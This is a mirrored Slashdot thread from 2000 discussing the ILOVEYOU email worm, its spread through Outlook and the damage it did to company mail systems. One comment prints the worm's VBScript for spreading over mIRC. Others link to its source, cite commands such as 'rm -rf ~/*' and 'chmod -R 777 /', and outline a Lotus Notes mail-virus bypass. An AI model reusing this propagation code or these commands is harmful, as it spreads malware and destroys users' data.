Slashdot Mirror


I Love You "Virus" Hates Everyone

Loquis was the first of seven billion readers to submit this story about the I Love You Virus and the UK. Its not really a virus: its a trojan that proclaims its love for the recipient and requests that you open its attachment. On a first date even! It then loves you so much that it sends copies of itself to everyone in your addressbook (slut!) and starts destorying files on your drive. Course they estimate that it's infected 10% of the UK. Pine/Elm/Mutt users as always laugh maniacally as the trojan shuffles countless wasted packets over saturated backbones filling overworked SMTP servers everywhere. Sysadmins are seen weeping in the alleys. Update: 05/04 03:12 by CT : My Roommate Kurt "The Pope" DeMaagd has written a better summary of the trojan and more importantly a HOWTO fix it. Windows users only ;) Requires registry hacking, so its not for everyone.

519 comments

  1. What's love got to do with it? by sensate_mass · · Score: 1

    We've got to come up with another venue for the kiddies to get their fame. Maybe we can bring back graffiti.

    --
    --- Submission is feudal.
    1. Re:What's love got to do with it? by SEWilco · · Score: 1

      But this is graffiti, for the lazy. It spreads itself around.

    2. Re:What's love got to do with it? by Guzz · · Score: 1

      This is more than just graffiti. It took down our exchange server at 9:45 this morning. This downtime is costing us a lot of money.

      --god, i hate windows.

    3. Re:What's love got to do with it? by robra · · Score: 1

      Uhm ... the obvious question would be: so why the
      **** do you use exchange?

    4. Re:What's love got to do with it? by NI3 · · Score: 1

      It's not the first time, and it won't be the last time. This is one of the nice features about Lotus Notes: You can write a notes mail-virus(put it in any of the form events), but it will only execute if the "Allow use of stored forms in this database" option is checked, and even then you will have to cross-certify if the mail comes from another organisation, which should prevent it from spreading far.(That was the case at least with the one I wrote).

      Disclaimer: I am only experienced in 4.6 and LotusScript so there may be other ways to write virii in version 5 I don't know of. (and there are some bugs in at least the early 4.5 and 4.6 versions which make it possible to get round the cross-certification by pretending to be for example"CN=Rob Slapikoff/O=Iris" "CN=Lotus Notes Template Development/O=Lotus Notes")

      NI3

      Lesson of the day: if you distill HNO3, don't breath.

    5. Re:What's love got to do with it? by Mr+Bubble · · Score: 1

      We've also got to get some diversity in our platforms and e-mail clients. 90% of these e-mail attachment trojans use Windows/Outlook to propogate.

      --
      "The world is a construct of forceful imagination. Those who don't know walk around in the reailties of those who do"
    6. Re:What's love got to do with it? by Guzz · · Score: 1

      cuz the corporate office says so. I know exchange sucks...

    7. Re:What's love got to do with it? by rashew2 · · Score: 1

      In almost all cases the propagation of these trojans require user action (error). Nearly all the local press in London was saying how this virus "swept the capital" in an unstopable wave of desctruction. Hmmm.. I use Outlook and I got the virus sent to me. Strange that I deleted it instead of opening it (What with it being an unsolicited email containing a vbscript attachment). Nearly every article I read implyed that the virus would be spread without the user taking any action! Its education that seems to be the problem to me not the choice of Email client, and the press is doing their usually fine job of (mis)educating people. :-(

    8. Re:What's love got to do with it? by Slide100 · · Score: 1

      I have heard, however, that the preview pane is enough to start the script running. I just use Pine and never worry about stuff like this.

      --
      >B2 Spirit, radar contact......
    9. Re:What's love got to do with it? by Mashiara · · Score: 1

      The problem is that certain versions of Outhouse (I don't use it, I don't want to have anything to do with it, so I haven't found out which versions) by default run scripts etc attached to emails, isn't this fun boys and girls ?

      I don't have the faintest idea of any sensible and legitimate applications of this feature but it sure enabales some kick-ass worms.

      I work for a $avcompany and I've seen this before, I saw it this time and sadly I will see it in the future, MS denies responsibility even though Outhouse is known to automatically execute scripts.

  2. Looks a bit like Melisa by davetza · · Score: 1

    From reports that are coming in it looks like it started somewhere in Asia and then moved into Europe. Alot of ISP's on South Africa have also been badly affected

    1. Re:Looks a bit like Melisa by deasmi · · Score: 4
      The first two lines of the script are quite ammusing.
      rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
      I do hope that's not his real address....
    2. Re:Looks a bit like Melisa by aozilla · · Score: 1

      I hope it is... if not poor ispyder@mail.com is probably getting tons of hate mail right now. from the same people dumb enough to click on the attachment in the first place.

      --
      ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
    3. Re:Looks a bit like Melisa by TomV · · Score: 1
      if you have mirc installed, it will try to connect to an irc server and offer your mp3 and jpg files on the channel

      i think it's a bit more insidious - by the time it gets to mIRC, it's already substituted itself for any mp2, mp3, jpg or jpeg files, so it'll be offering Artiste - Song title.mp3.vbs to anyone doltish enough to accept.

      Well it's the first open-source live malware I've come across :)

      TomV

    4. Re:Looks a bit like Melisa by mashx · · Score: 1


      Found this link to the script, which seems to be in an odd place...

      http://www.olen.net/LOVE-LETTER-FOR-YOU.TXT

      It is not the VB script that would run in IE. Strange place for it to be though I thought...

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~

      --

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~
    5. Re:Looks a bit like Melisa by PhilWard · · Score: 1

      The fact that this was a VB script highlights a danger in Windows. There is an option to not display file extensions of known file types.
      Correct me if I'm wrong but is this not enabled by default?
      The first news report I saw on Alta-Vista on this virus had me confused by saying that the attachment was called "LOVE LETTER FOR YOU.TXT". (Clue for the clueless - a text file cannot contain a virus.)
      Only when I saw the BBC's report did I realise that whoever wrote the first report I read probably had extensions switched off.
      The real file name is "LOVE LETTER FOR YOU.TXT.vbs".
      Clicking on a .txt file you would expect notepad or whatever editor you had configured to launch. But in this case it would run the VB Script.

      NASTY - Always leave your file extensions switched on if you're unfortunate to be using Windows.

      Phil.

    6. Re:Looks a bit like Melisa by IHateEverybody · · Score: 1


      Mail.com is a free e-mail service. It's probably a free account started up using falsified information to through people off the author's scent. Or maybe he really is that stupid.

      --
      Does this .sig make my butt look big?
    7. Re:Looks a bit like Melisa by shippo · · Score: 1
      More likely to be xxx@sophos.com or yyy@cai.com, or some-one else peddling anti-virus software.

      On second thoughts it won't be cai.com, as this virus works properly and doesn't cost a fortune!

    8. Re:Looks a bit like Melisa by lpopman · · Score: 1

      It's not your standard IE VBScript, It's Windows Script, which is slightly different. It's basically a shell script that can do pretty much anything on a windoze box, and the script engine is stupidly integrated into Outlook. And as for it looking a bit like melissa, well it's payload might be the same as melissa, it's delivery system was more like KaK.

      Also, interestingly, it seems to download a file by setting the IE start page to point to an exe, attempts to infect on IRC as a script... the list goes on. It looks like every vulnerability of the scripting platform is highlighted here. Hmm, Rootkit anyone...I'll analyze some more and post my findings...

      LollypopMan, Coming directly from the mothership. It's a P Thang :)

    9. Re:Looks a bit like Melisa by Hentai · · Score: 1

      You know, this depresses me. Would you like to know how we got this? Our sysadmin, and MCSE, openned a copy of it from his girlfriend. He HAD to have seen the '.vbs' at the end. He had to. His girlfriend isn't a coder. What was he thinking? Worse, when I opened the file in Notepad to see what it was doing and figure out how to fix the damage it had caused, he responded by immediately shutting my computer down, and telling me to "get to work" and not to mess with it or he'd have me locked out of the system and fired - and then went ahead and locked me out of the system anyway. Worse [while drifting slightly off-topic], I've noticed a LOT of sysadmins acting this sort of way. What causes the BOFH syndrome, anyway? Why can't these people accept that their job is to keep the system running, not to make our lives miserable by constantly proving that they can make our lives miserable any time they want?

      --
      -Hentai [in vita non pacem est]
    10. Re:Looks a bit like Melisa by Hentai · · Score: 1

      Shop standard. We're a non-profit, and Microsoft is a lead partner who has donated "millions of dollars" (worth of worthless NT, IIS and Office liscenses). I've been trying to convince them that it'd be worth dumping them as a partner just to get rid of the M$ tyrrany and let me do my work in Perl CGI instead of VB ASP, but I'm just a lowly programmer, and am not worthy even to speak to such luminaries as the Special Assistant to the Director or the IT Manager.

      --
      -Hentai [in vita non pacem est]
  3. OPening e-mail attachments by waldeaux · · Score: 1

    OK - I suppose it's wishful thinking to hope that users would realize by now not to open e-mail attachments they know nothing about...

    1. Re:OPening e-mail attachments by akey · · Score: 5

      OK - I suppose it's wishful thinking to hope that users would realize by now not to open e-mail attachments they know nothing about...

      Personally, I loved the quote from the journalist who said that she was suspicious when she received 5 copies of it, but since the last one was from Dow Jones, she opened it anyway... :-)

      ---

      --

      ---
      "Go Metallica. Die RIAA." -- Linus Torvalds
    2. Re:OPening e-mail attachments by MarkKomus · · Score: 1

      Some users still get confused if the default username in the login box gets changed. We have a ways to go before they'll learn about e-mail attachments.

    3. Re:OPening e-mail attachments by slim · · Score: 2

      OK - I suppose it's wishful thinking to hope that users would realize by now not to open e-mail attachments they know nothing about...

      As I understand it (second hand), if the mail shows up in a preview pane in Outlook Express, then the script runs without user intervention.

      Now *that* is crappy design...
      --

    4. Re:OPening e-mail attachments by weloytty · · Score: 2

      Not true.

      The file is an ATTACHMENT. In order for it to run, the user has to doubleclick it. It would be like sending a unix user a perl script that had rm -rf ~/* in it.

      Of course, your typical unix user probably wouldnt run such a file, but that isnt an application design issue.

    5. Re:OPening e-mail attachments by holdp · · Score: 1

      You mean some people opened this thing? With such
      a title its clearly advertising at best.

    6. Re:OPening e-mail attachments by Mik9113 · · Score: 1
      Personally, I loved the quote from the journalist who said that she was suspicious when she received 5 copies of it, but since the last one was from Dow Jones, she opened it anyway... :-)

      I like the sentence in which she says "I don't know how something like this could get through the firewall. It's supposed to be protected." A user who thinks she's safe from email viruses because she overheard the word firewall once.

    7. Re:OPening e-mail attachments by mstoria · · Score: 1

      From what I saw through a list I was on (not from personal experience, thank $DIETY) there are viruses that will activate when the message is previewed. the KAK worm does such, because of the script attached to it. If you have to use a windoze based email, try Eudora for cryin out loud! The only real way to prevent the infection is to set security higher on the mailer. I had several people send me the KAK worm (not on purpose) and when it showed up in OE with the virus, I got a screen that said the Active X involved in that message was possibly dangerous and I was not to read the message. Same message opened in Eudora showed the script for the virus. Weird.

    8. Re:OPening e-mail attachments by Alex+Belits · · Score: 2

      The file is an ATTACHMENT. In order for it to run, the user has to doubleclick it. It would be like sending a unix user a perl script that had rm -rf ~/* in it.

      File with .pl extension and content-type "application/octet-stream" is never executed by any decent mailreader -- mailreader even will warn you that there is no viewer defined for this content-type. If someone had "application/x-perl" in .mailcap pointing to "/bin/perl %s" (mailreaders never write files with executable permissions), AND it was used in the mail header, then and only then it will run, however no sane person will do such a thing and no system comes with this kind of configuration.

      --
      Contrary to the popular belief, there indeed is no God.
    9. Re:OPening e-mail attachments by Flerg · · Score: 1

      Speaking of Eudora, does anyone know where I could download the old version of Eudora light, the one without the ads? I'm talking about version 3.0.6. If anyone knows, a link would be appreciated.

      -Flerg

  4. This hit where I work. by Shadowlion · · Score: 4

    I have Outlook 2000 open as we speak.

    So far, I've received (estimated) about fifty copies of the damn thing. It's funny, in a "well, hey, look - a train wreck" sort of way.

    1. Re:This hit where I work. by Shadowlion · · Score: 2

      On the other hand, I'm personally not stupid enough to open an attachment like this (especially with the obvious tagline of "LOVE-LETTER-FOR-YOU.TXT.vbs" - gee, you think that's a Visual Basic script?).

      I should really be compiling a list of the coworkers I'm receiving this from. It always pays to know where stupidity is in the org chart.

    2. Re:This hit where I work. by d-e-w · · Score: 1

      Yup - hit my computer about 8:30AM CDT. I noticed it because 1. the guy that "sent" the damn thing definitely wouldn't be sending a "love letter" to me ;) and that 2. I used to share an email address with another person in the office and so received two copies.

      Grabbed the server guy when he walked in a couple of minutes later and forced him to get a block enabled. We're behind a 166 DSL line and don't need that crap clogging it up for the rest of the day.

      BTW, I'm US-based. We're international and work a lot with people from the UK, which is probably where it came in from, but the first guy who received it here probably spread it near and far across the US. :( His address book is probably has hundreds of people and I don't see any mention of this having a max. So it's come to the US.

    3. Re:This hit where I work. by GC · · Score: 2

      A lot of users will just see LOVE-LETTER-FOR... especially in outlook. For me - it was the icon that gave it away.

    4. Re:This hit where I work. by Octorian · · Score: 1

      The filename is: "LOVE-LETTER-FOR-YOU.TXT.vbs" ?
      Has anyone forgotten that in the idiotic way Windows is configured by default, the ".vbs" is truncated if the type is associated?

      Now any of us turn off this "feature" the moment we touch Windows, but the average idiot doesn't know about it. So, the file would look like a ".TXT" file to most, and they would open it without thinking twice.

    5. Re:This hit where I work. by Trevers · · Score: 1

      I work in MA and had about 12 copies this morning and still they keep trickling in. So the total is about 25 or so.

      And no I didn't open a single one.

  5. First Post - without email here by nospoon · · Score: 1

    The email Servers where I work have been shutdown do to this nasty bugger. It came in over out WAN from Germany and the UK sometime around 3AM.

    Guess it will be a quiet day today!

  6. Mixed emotions... by Rob+Kaper · · Score: 1
    ILOVEYOU?!?!

    They would be better off calling these viruses "Mixed emotions".. perhaps our Linux team thought it was funny, but our NT team did not. ;-)

  7. This amused everyone in my office by frog51 · · Score: 1

    We thought it was weird, but it wouldn't run on most of my colleagues machines anyway - so I opened it using a text editor, and it's written in plain, unobfuscated text.
    Lines like spread(email) are kinda obvious.

    Still, the first guy who got it was distraught that she didn't love him after all:)

  8. Dunno about the virus... by BrianW · · Score: 4

    But the number of "If you get an email that says 'I love you', DON'T OPEN IT!" messages are getting a bit annoying.

    1. Re:Dunno about the virus... by Ed+Avis · · Score: 2

      I quite agree. If you get a message that says "If you get an email that says 'I love you', DON'T OPEN IT!", don't open it!

      --
      -- Ed Avis ed@membled.com
    2. Re:Dunno about the virus... by Denor · · Score: 2

      As another poster said, I couldn't agree more. I got an e-mail about it this morning, and had to look to make sure it had come from a real source (it had) rather than some clueless person paranoid about "viruses"
      Back when Melissa was big, I had a co-worker who got an e-mail from his sister warning about how bad Melissa was, and not to open attachments with whatever subject line Melissa had.
      Upon further inspection, his sister had mailed not only him, but everyone in her address book.
      In other words, out of ignorance or lack of wanting to even think about what she was doing, my co-worker's sister had done the exact same thing as the virus would have.
      I think some more education is in order, when people warning about viruses become more annoying than the viruses themselves.

      --
      -Denor
    3. Re:Dunno about the virus... by shippo · · Score: 1
      I worked for a company that had an Internet Consultant who would repeatedly mail out all the hoax virus alerts to all staff and customers, even if at the time the payload was not technically possible (this was a few years ago). Our department would always burst into laughter.

      What really irks me is that this moron was selling and installing firewalls!

      Needless to say his department fell apart due to incompetant management!

    4. Re:Dunno about the virus... by Jeremi · · Score: 1
      If you get a message that says "If you get an email that says 'I love you', DON'T OPEN IT!", don't open it!


      My smart-ass response to this warning: I did receive such an email, and I did open it, but because I'm running an OS that was designed by engineers instead of salesmen, there was no harmful effect.


      -Jeremy

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    5. Re:Dunno about the virus... by bbchops · · Score: 1

      Bet she didn't send him a page full of porn links though. Pah.

      --
      The poor cook he caught the fits
      And threw away all of my grits
    6. Re:Dunno about the virus... by Slashdot+Fool · · Score: 1
      Actually, she'd done *worse* than Melissa would have :) IIRC, it only mailed the first 50 people in the address book.

      This is why in the Global address book at $ORKPLACE, the first fifty addresses are _MellisaCatcher00 to 49...

      Steff

    7. Re:Dunno about the virus... by kkeller · · Score: 1

      #!/usr/bin/perl -w

      sub i_love_you {
      if ($message =~ "I love you")
      {
      $message = "If you get a message that says '$message', DON'T OPEN IT!";
      }

      i_love_you();
      }

      $message="I love you!";
      i_love_you();

  9. Well, it is in the US already. by fransdw · · Score: 1

    It is already in FL and making its way through the government address books which are not small by any measure.

    --
    Life's like that ...
  10. They need to implement the Chinese solution... by Rombuu · · Score: 1

    ...for this sort of thing, if you know what I mean...

    --

    DrLunch.com The site that tells you what's for lunch!
  11. Weaping? by howly · · Score: 1

    What's this "Weaping" business? Is it some sort of Elmer Fudd-ism? It's WEEPING. Buy a spell checker.

    1. Re:Weaping? by Eponymous,+Showered · · Score: 1

      Indeed, this virus intends to "weap what it has sewn."

  12. Thank you for your innovation, Microsoft! by korpiq · · Score: 1


    This is /just/ so crappy. You know, before 1995 every time someone forwarder you a warning of this-and-that e-mail virus, you'd respond by "Viruses don't spread by e-mail."

    What the heck do I care, but it pisses me off to see that some people even at my work place can be disturbed by this. Internally we're an AIX house, for God's sake!

    --

    I think, therefore thoughts exist. Ego is just an impression.
  13. Clean up by xianzombie · · Score: 4

    As far as i know, the virus started out in Asia (somewhere) and made its way to Europe and now the US (Including many millitary installations as well).

    Sites I've found that offer disenfectants are a post on ZDNet http://www.zdnet.com/tlkbck/comment/22/0,7056,8875 4-421758,00.html, as well as http://www.f-source.com

    good luck people

    1. Re:Clean up by MAXOMENOS · · Score: 1

      As far as i know, the virus started out in Asia (somewhere) and made its way to Europe and now the US (Including many millitary installations as well).

      Actually if you read the source code for this virus (which has been posted as a comment), you'll see that this started in the Phillipines.


      The Second Amendment Sisters

    2. Re:Clean up by mpe · · Score: 1

      Actually if you read the source code for this virus (which has been posted as a comment), you'll see that this started in the Phillipines.

      You really trust the comment to be accurate? Maybe it's complete disinformation, maybe it's an attempt to incriminate someone the author dislikes. If it said "William H Gates, USA" would Billy be arrested?

  14. Not just the UK, Indiana is getting hammered, too. by Frederick+Paepke · · Score: 1

    It's not just the UK that getting hit hard. Things here in northern Indiana are very ugly this morning.

  15. Netscape Messenger by kperrier · · Score: 1

    Hey! Those of us who use messenger are not immune to this as well. I have recieved about 10 copies of it this morning.. And the IT folks want to know why I don't want to use Outlook......

    1. Re:Netscape Messenger by TomV · · Score: 2
      Those of us who use messenger are not immune to this as well

      You'll receive it from Outlook users, it'll mess with a variety of filetypes and offer them on mIRC if you've got it installed, but it won't propagate, since it uses

      CreateObject("Outlook.Application")
      to get at the Address book.

      Open source viruses, eh?

      TomV

    2. Re:Netscape Messenger by lpopman · · Score: 1

      Ahh, But it does propogate via mIRC, here's the offending lines

      if (eqfolderspec) then
      if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
      set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
      scriptini.WriteLine "[script]"
      scriptini.WriteLine ";mIRC Script"
      scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
      scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
      scriptini.WriteLine ";"
      scriptini.WriteLine ";Khaled Mardam-Bey"
      scriptini.WriteLine ";http://www.mirc.com"
      scriptini.WriteLine ";"
      scriptini.WriteLine "n0=on 1:JOIN:#:{"
      scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
      scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
      scriptini.WriteLine "n3=}"
      scriptini.close
      eq=folderspec
      end if
      end if

      It doesn't send the mp2/3 files, That might just be for windows media player or something. It sends itself as an html file.

      LollypopMan.

  16. Maybe this can get companies to consider UNIX? by jaf · · Score: 3

    Our company was just hit by this - one NT server and two workstations down.. it deletes and renames files like there's no tomorrow.

    UNIX would not have a problem here..

    Maybe in the long run though - but at least a virus would "only" be able to do what the user can do - not nuke the system.

    People still have to be dumb enough to open the attachment.

    --
    -- jaf
    1. Re:Maybe this can get companies to consider UNIX? by Smallest · · Score: 1

      UNIX would not have a problem here..

      Windows is not the problem - Outlook is. If SendMail was as wide open as Outlook is, UNIX would have the same problem.

      --
      I have discovered a truly remarkable proof which this margin is too small to contain.
    2. Re:Maybe this can get companies to consider UNIX? by sterwill · · Score: 2

      Sendmail is an MTA, not an MUA. I don't see how Sendmail (or any of the better mailers like postfix or qmail) would ever have this problem.

      --

    3. Re:Maybe this can get companies to consider UNIX? by jaf · · Score: 1

      > Windows is not the problem - Outlook is.

      Windows is also the problem - this virus not only reproduces - it also deletes files, changes startup setting for the computer. Those system changes would not be allowed on any normal UNIX system.

      --
      -- jaf
    4. Re:Maybe this can get companies to consider UNIX? by aetius2 · · Score: 1

      Windows is the problem. Allowing the user to overwrite system files??? Cheap, easy, but definitely not safe. Unix by design does not (in general) allow that. That's what he's talking about. Of course, if your NT people really know what they are doing, nothing vital would be affected -- the NT image should be locked down to the point of not letting the user access anything but their own home directory. Unfortunately that is difficult to do (some would say near impossible) and most NT "admins" don't know how.

      Aetius
    5. Re:Maybe this can get companies to consider UNIX? by tamagen · · Score: 1
      This type of thing isn't a "Windows" problem per se. The targetted OS for this particular attack happens to be Windows - that's all. As weloytty already said, in a previous post, the same sort of thing can happen if one sends a perl or a shell script as an attachment to a unix user.

      The fact is that most users of unix systems are relatively competent. Many users of Windows systems are also competent. However, the widespread marketing and subsequent popularity of Windows also means that less technically aware people are more likely to use Windows than Unix.

      Given that the less aware a user is, the more likely they are to do something stupid, then by inference Windows users are more likely to contain a group of susceptible users.

      The code overwrites files with particular extensions - where permissioned to do so - with copies of itself. On properly permissioned NT systems, no existing files are affected. On poorly permissioned systems, a lot of data is lost.

      No system files are overwritten by this code, because no system files have extensions matching the patterns the code looks for. A few new files are created (again, permissions permitting), and these look to the uninformed like system files - but they're not.

      Of course, if the coder had wanted, they could have specified .exe, .sys or whatever. This would (permissions permitting) have resulted in a crippled OS and probably prevented further propogation.

      The code also messes around with the registry. Again, this is prevented on NT systems with sensible registry permissions.

      So fundamentally, Windows systems are typically more vulnerable to this type of attack because the default permissions on some Windows environments are too unrestrictive. Most recent Unix distributions have relatively tight permissions by default, but this is the culmination of 30 years of trial by fire.

      Basically, if a naive Unix user (quite possibly logged in as root on a single user system) ran "chmod -R 777 /" as the first command in a shell script received as an attachment, they'd be just as vulnerable.

      Note that I prefer Unix platforms to Windows; I just can't bear unsupported arguments.

      tam

    6. Re:Maybe this can get companies to consider UNIX? by Tackhead · · Score: 2
      sterwill wrote:
      > Sendmail is an MTA, not an MUA. I don't see how Sendmail
      > (or any of the better mailers like postfix or qmail) would ever have this problem.

      When your outgoing mail is handled by Sendmail, but your end-lusers are running M$ Outlook, and all 5000 of them are emailing everybody they know multiple copies of the virus, your Sendmail server is at risk of crashing too. It's basically an internally-generated DOS attack.

      Someone posted that Outlook is basically a DDOS tool. I couldn't agree more. If "freedom to innovate" means "freedom to build more security holes into an MUA than swiss cheese", then I, for one, would like to see the DOJ give up their talk about a M$ breakup and just pull a Waco on the Mickeysoft campus.

      If you're an administrator, you already know that your end-lusers will never disable the security holes in Outlook, and that viruses flourish in monocultures. Seriously consider mandating - as a matter of corporate security - that the risks of using Outlook outweigh the benefits, and that it not be used in your organization. Deinstall or disable it on every new desktop you set up before the user gets their hands on it.

      So what if they can't understand elm, mutt, or pine? Give 'em Eudora, Pegasus, or hell, even Nutscrape's built-in mail client. Anything but Outlook and MSexchange.

    7. Re:Maybe this can get companies to consider UNIX? by Refrag · · Score: 1

      What do MTA & MUA stand for?

      --
      I have a website. It's about Macs.
    8. Re:Maybe this can get companies to consider UNIX? by IntlHarvester · · Score: 1

      Note that even a properly permissioned NT system could have problems. The user would be able to write to his/her own IE and Outlook settings, and the personal strtup folder, as well as the personal \Run keys in the registry. It's pretty much impossible to firewall a user against him or herself.

      But, as you mention, it's a "Outlook" problem, not a "Windows" problem. Not only does Outlook allow a user to attack his/her own files/regkeys, but it also allows a mere user to unwittingly launch a DoS attach on the mailserver and other mail users (which is the *real* problem).

      The only solution is execution control in the e-mail client. Either do it the Unix way (don't execute anything), or the Lotus way (require digital signatures, which are transparent part of the system). But don't do it the Microsoft way (execute lots of stuff without regard where it came from, because it's 'easier' for some WordBasic programming slob.)

      I'm glad that you addressed the issue in detail -- there is all too many fscking moronic posts on this issue assuming that Unix is immune because it has sensible file system permissions. The truth is that a mythical Outlook-on-Unix user would be just as screwed as the Windows user.
      --

      --
      Business. Numbers. Money. People. Computer World.
    9. Re:Maybe this can get companies to consider UNIX? by Tony-A · · Score: 1

      Ok, I'll throw my 2 cents in that it is a "Windows" problem in that the OS allows and even encourages such behavior.
      Somehow I think that at this stage, any Outlook-on-Unix would be sandboxed and logged.

    10. Re:Maybe this can get companies to consider UNIX? by Samus · · Score: 1

      Mail Transfer Agent and Mail User Agent respectively. An example of a MTA would be SendMail or Exchange or Notes or Postfix or Exim. An example of a MUA would be Notes Mail, Outlook, Eudora or Netscape Mail or in the unix world pine, mutt, elm or any mail reading program.

      "What are the three words guaranteed to humiliate men everywhere?

      --
      In Republican America phones tap you.
    11. Re:Maybe this can get companies to consider UNIX? by IntlHarvester · · Score: 1

      OK, I'll bite -- If there's something wrong with Windows itself, why don't any of the other 2000 Windows MUA have these problems? Why is it always Outlook or OutlookExpress?

      Surely you don't think the problem is the scripting host? After all, scripting engines are supposedly what make Unix so great.

      I think it's clear what the real problem is -- Idiots in Microsoft's applications groups.
      --

      --
      Business. Numbers. Money. People. Computer World.
    12. Re:Maybe this can get companies to consider UNIX? by sparkz · · Score: 1
      uh ...... let's see now ....

      $ mail root@some.domain.com

      --
      Author, Shell Scripting : Expert Re
    13. Re:Maybe this can get companies to consider UNIX? by mpe · · Score: 1

      Mail Transfer Agent and Mail User Agent respectively. An example of a MTA would be SendMail or Exchange or Notes or Postfix or Exim. An example of a MUA would be Notes Mail, Outlook, Eudora or Netscape Mail or in the unix world pine, mutt, elm or any mail reading program.

      Part of the confustion is that many GUI MUA's have a half hearted stab at being MTA's too. Thus the need for end user configuration

    14. Re:Maybe this can get companies to consider UNIX? by Alex+Belits · · Score: 2

      You could do the same damn thing as a bash script

      Unix mailreadres can't execute scripts from attachments.

      --
      Contrary to the popular belief, there indeed is no God.
    15. Re:Maybe this can get companies to consider UNIX? by Menthos · · Score: 1
      Eh... no.

      You see, it's common (if not an unspoken rule) in the UNIX world that the administrator ("root") also has a normal user account. Only administrative tasks are performed as the actual "root". Reading email with a full-blown mail client is definately done as a normal user, if the administrator is worth his name.

      On most server installations, the root@ address is just an alias that goes to the administrator's normal user account. So, given that the administrator is stupid enough to run an unchecked script he recieved from an email, the virus would still just run in user space, not destroying system settings but only the user's files.

      On the other hand, in the NT world, it's common that the administrator has only one account - an ordinary account with administrator privilegies added on. So, the mail client runs with administrator privilegies, and all accidentally clicked on script files run with administrator rights. Great, eh?

      --

      GNU/Linux. The Freshmaker.

  17. I got it..... by peterdaly · · Score: 3

    The nice thing about virus's like this is you find out about people you never met who have you in their address book....at least in my case. -Pete

    1. Re:I got it..... by beebware · · Score: 1

      I haven't received a copy and I didn't receive a copy of Melissia et al either. Does that mean that nobody has me in their address book?

      I didn't think I was that much disliked, but then again it may be because the people I correspond with on a regular basis actually have a clue.

      Personally, I think ISPs need to educate their customers more. When they sign up, ISPs should send information about 'Making Money Fast Schemes', 'Hoax Emails', and 'Opening Attachments' as a minimum.

      Saying all that, I happly use a RISC OS machine (when I need Windoze - like to open an Excel spreadsheet - I emulate it in a 'closed off' partion), with Marcel. Okay, Marcel isn't the best mail reader there is, but I don't like HTML mail (it wastes bandwidth) anyway so.. It also doesn't allow auto-running of anything.

      Anyway, back to laughing at my co-worker who is MCSE qualified - I'll leave you to guess how much of a panic he's in. Go around telling everybody about it, installing filters in Outlook etc. :)


      Richy C.
      --
    2. Re:I got it..... by IHateEverybody · · Score: 1


      I haven't received a copy and I didn't receive a copy of Melissia et al either. Does that mean that nobody has me in their address book?

      I didn't get a copy of Melissa either but I did get a copy of this one. Does that mean I'm becoming more popular? Or am I just hanging out with a less clueful class of people?

      --
      Does this .sig make my butt look big?
    3. Re:I got it..... by randombit · · Score: 1

      I haven't received a copy and I didn't receive a copy of Melissia et al either. Does that mean that nobody has me in their address book?

      I haven't got one either. However, many of the people I corespond with on a regular basis use a Unix, BeOS, or MacOS [probably more techie/geeky college student types use those than the average]. And most of the Windows users I do know use either Eudora or Communicator. Though warnings are going around at my university: possibly it's being blocked on the main SMTP servers.

      Grepping through my mail directory for X-Mailer shows mostly Elm, Mutt, and Mozilla (Pine doesn't set X-Mailer or it would also be well-represented); there are only a few Outlooks or Eudoras. And there's one guy I know who uses exmh. :)

    4. Re:I got it..... by DrgnDancer · · Score: 1

      The Only two copies I've gotten so far were from profesional mailing lists... One of them was the Samba Nt-Domain controller list. You know that guy has got to feel silly.

      --
      I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
    5. Re:I got it..... by dr.+greenthumb · · Score: 1

      I feel somewhat insulted .. I haven't received a single copy of it, while some here brag about dozens of copies .. guess I got no friends.. could someone please mail me it and make my day?

  18. Showed up here, too! by Bob+McCown · · Score: 1


    We've got a copy of it here, but it was caught by an on-the-ball employee that recieved it, and forwarded it to the IT department...

    1. Re:Showed up here, too! by Bob+McCown · · Score: 1

      Of course, you're only on the ball if clueless people dont open it, even if theyve been warned. (Insert rant about stupid sales people who think the rules dont apply to them)

  19. windoze only!!!! by gerti · · Score: 1

    At the lab I'm working as a system administrator, we're jumping with joy as we see the number of companies that suffer from this virus grow. We're using iMacs, OS X server Macs, and suns running Solaris boxes, and everything is perfectly allright here :-))

  20. Bad Worm. by trexl · · Score: 1
    What a treat. Is it just me or are viruses that affect e-mail seen as so much scarier since the user gets to see something, as opposed to other viruses that do damage and don't announce themselves.

    Anyway, I read this over on OSOpinion ... but could MS's implanting of Outlook in nearly everything actually be more damaging than their inclusion of IE in DOS?

    1. Re:Bad Worm. by BrianW · · Score: 2

      What a treat. Is it just me or are viruses that affect e-mail seen as so much scarier since the user gets to see something, as opposed to other viruses that do damage and don't announce themselves.

      I think it's seen as being an easy way evil hackers can get at your machine, especially as people (and the media) don't seem to realise that the user has to open the email - it doesn't happen automatically. And, as an automatic it-comes-from-cyberspace-to-take-over-your-machine virus sounds sufficiently scary, it gets lots of media coverage.

    2. Re:Bad Worm. by unitron · · Score: 1
      ...could MS's implanting of Outlook in nearly everything actually be more damaging than their inclusion of IE in DOS?

      I think IE only runs in the version of DOS with all the little pictures and the bright, pretty colors. You know, Windows. :-)

      But seriously, some guy from Symantec was just on the tube saying that anti-virus software wasn't optional anymore, that you had to have it (of course *he* would say that), but as I waited in vain for him to go on to say that it was now as necessary as the operating system itself, I suddenly wondered if Microsoft had been planning to make an anti-virus program, for which you would have to download regular updates at a price, an "essential part of the operating system", and then had to back off to avoid further raising the ire of the DOJ.

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

  21. Total Cost of ownership if Outlook/Exchange by smartin · · Score: 5

    This is the second time in a couple of months that I've been at a company where this sort of thing has gone around and around. Companys really need to be aware of the consequences of using Outlook and Exchange. This does not happen when you are using Sendmail and a regular POP3 or IMAP client.

    --
